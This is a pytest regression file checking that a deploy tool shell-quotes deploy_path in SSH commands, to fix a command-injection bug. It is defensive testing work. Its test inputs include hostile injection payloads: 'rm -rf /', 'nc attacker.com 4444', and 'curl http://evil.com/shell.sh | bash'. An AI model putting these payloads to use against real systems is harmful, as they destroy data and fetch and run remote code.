kin/tests/test_kin_infra_006_regression.py

"""Regression tests for KIN-INFRA-006: command injection via deploy_path in SSH command.

Root cause: _build_ssh_cmd() embedded deploy_path directly in f"cd {deploy_path} && {command}"
without escaping, allowing shell metacharacters to be interpreted.

Fix: shlex.quote(deploy_path) in core/deploy.py:_build_ssh_cmd(), line 54.

Acceptance criteria:
  1. deploy_path with shell metacharacters (';', '$(...)', '`...`', '|') is properly
     escaped via shlex.quote — injected fragment does not leak into the command.
  2. A legitimate path like '/srv/api' works normally (shlex.quote does not break it).
  3. deploy_restart_cmd (admin-controlled command) is passed verbatim to SSH — NOT quoted
     via shlex.quote (quoting a multi-word command would break remote execution).
"""
import shlex
import pytest

from core.deploy import _build_ssh_cmd, build_deploy_steps


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def _ssh_project(deploy_path, **extra):
    """Minimal project dict for _build_ssh_cmd."""
    return {
        "deploy_host": "10.0.0.1",
        "deploy_path": deploy_path,
        **extra,
    }


# ---------------------------------------------------------------------------
# AC 1a — semicolon injection: '/srv/api; rm -rf /'
# ---------------------------------------------------------------------------

def test_semicolon_injection_in_deploy_path_is_escaped():
    """AC1: deploy_path='/srv/api; rm -rf /' must be shell-quoted, not raw in command."""
    malicious_path = "/srv/api; rm -rf /"
    cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull")
    full_cmd = cmd[-1]

    # Must NOT appear as a bare shell fragment
    assert "cd /srv/api; rm -rf /" not in full_cmd, (
        "Semicolon injection must be neutralised — raw path must not appear in command"
    )
    # Must appear as a properly quoted string
    assert shlex.quote(malicious_path) in full_cmd, (
        "deploy_path must be wrapped by shlex.quote"
    )


# ---------------------------------------------------------------------------
# AC 1b — command substitution: '$(whoami)'
# ---------------------------------------------------------------------------

def test_dollar_command_substitution_in_deploy_path_is_escaped():
    """AC1: deploy_path containing '$(...) must be quoted — no shell expansion."""
    malicious_path = "/srv/$(whoami)"
    cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull")
    full_cmd = cmd[-1]

    assert "cd /srv/$(whoami) " not in full_cmd, (
        "$(...) substitution must not be left unquoted"
    )
    assert shlex.quote(malicious_path) in full_cmd


# ---------------------------------------------------------------------------
# AC 1c — backtick command substitution: '`whoami`'
# ---------------------------------------------------------------------------

def test_backtick_injection_in_deploy_path_is_escaped():
    """AC1: deploy_path containing backticks must be quoted."""
    malicious_path = "/srv/`whoami`"
    cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull")
    full_cmd = cmd[-1]

    assert "cd /srv/`whoami` " not in full_cmd
    assert shlex.quote(malicious_path) in full_cmd


# ---------------------------------------------------------------------------
# AC 1d — pipe injection: '| nc attacker.com 4444'
# ---------------------------------------------------------------------------

def test_pipe_injection_in_deploy_path_is_escaped():
    """AC1: deploy_path containing pipe must not open a second shell command."""
    malicious_path = "/srv/app | nc attacker.com 4444"
    cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull")
    full_cmd = cmd[-1]

    assert "cd /srv/app | nc attacker.com 4444" not in full_cmd
    assert shlex.quote(malicious_path) in full_cmd


# ---------------------------------------------------------------------------
# AC 2 — legitimate path works normally
# ---------------------------------------------------------------------------

def test_legitimate_deploy_path_is_preserved():
    """AC2: '/srv/api' (no special chars) must appear verbatim in the SSH command."""
    cmd = _build_ssh_cmd(_ssh_project("/srv/api"), "git pull")
    full_cmd = cmd[-1]

    assert "/srv/api" in full_cmd, "Legitimate path must appear in command"
    assert "git pull" in full_cmd, "The deploy command must appear after cd"
    # Structure: cd '<path>' && git pull
    assert "cd" in full_cmd
    assert "&&" in full_cmd


def test_legitimate_path_with_shlex_quote_is_unchanged():
    """shlex.quote('/srv/api') must equal '/srv/api' — no redundant escaping."""
    assert shlex.quote("/srv/api") == "/srv/api", (
        "shlex.quote must not alter a simple path (no extra quoting)"
    )


def test_ssh_cmd_structure_is_list_not_string():
    """_build_ssh_cmd must return a list — never shell=True with a string command."""
    cmd = _build_ssh_cmd(_ssh_project("/srv/api"), "git pull")
    assert isinstance(cmd, list), "SSH command must be a list (shell=False)"
    assert cmd[0] == "ssh"


# ---------------------------------------------------------------------------
# AC 3 — deploy_restart_cmd reaches SSH verbatim (not shlex-quoted)
# ---------------------------------------------------------------------------

def test_deploy_restart_cmd_passes_verbatim_to_ssh():
    """AC3: deploy_restart_cmd is a multi-word shell command — must NOT be shlex-quoted."""
    restart_cmd = "docker compose restart worker"
    project = {
        "deploy_host": "myserver",
        "deploy_path": "/srv/api",
        "deploy_runtime": "docker",
        "deploy_restart_cmd": restart_cmd,
    }
    cmd = _build_ssh_cmd(project, restart_cmd)
    full_cmd = cmd[-1]

    # Multi-word command must appear verbatim, not as a single-quoted token
    assert restart_cmd in full_cmd, (
        "deploy_restart_cmd must appear verbatim in the SSH command"
    )
    assert full_cmd != shlex.quote(restart_cmd), (
        "deploy_restart_cmd must NOT be wrapped in shlex.quote — that would break remote execution"
    )


def test_build_deploy_steps_includes_restart_cmd():
    """deploy_restart_cmd must be appended as a plain step in build_deploy_steps."""
    restart_cmd = "systemctl restart myapp"
    steps = build_deploy_steps({
        "deploy_runtime": "python",
        "deploy_restart_cmd": restart_cmd,
    })
    assert steps[-1] == restart_cmd, "restart_cmd must be last step, verbatim"


# ---------------------------------------------------------------------------
# Edge cases
# ---------------------------------------------------------------------------

def test_no_deploy_path_uses_command_directly():
    """When deploy_path is None, the command is used as-is with no cd prefix."""
    cmd = _build_ssh_cmd({"deploy_host": "myserver", "deploy_path": None}, "git pull")
    full_cmd = cmd[-1]
    assert "cd" not in full_cmd
    assert full_cmd == "git pull"


def test_ampersand_injection_in_deploy_path_is_escaped():
    """deploy_path containing '&&' must not inject extra commands."""
    malicious_path = "/srv/app && curl http://evil.com/shell.sh | bash"
    cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull")
    full_cmd = cmd[-1]

    # The injected part must not appear unquoted
    assert "curl http://evil.com/shell.sh" not in full_cmd.replace(
        shlex.quote(malicious_path), ""
    )
    assert shlex.quote(malicious_path) in full_cmd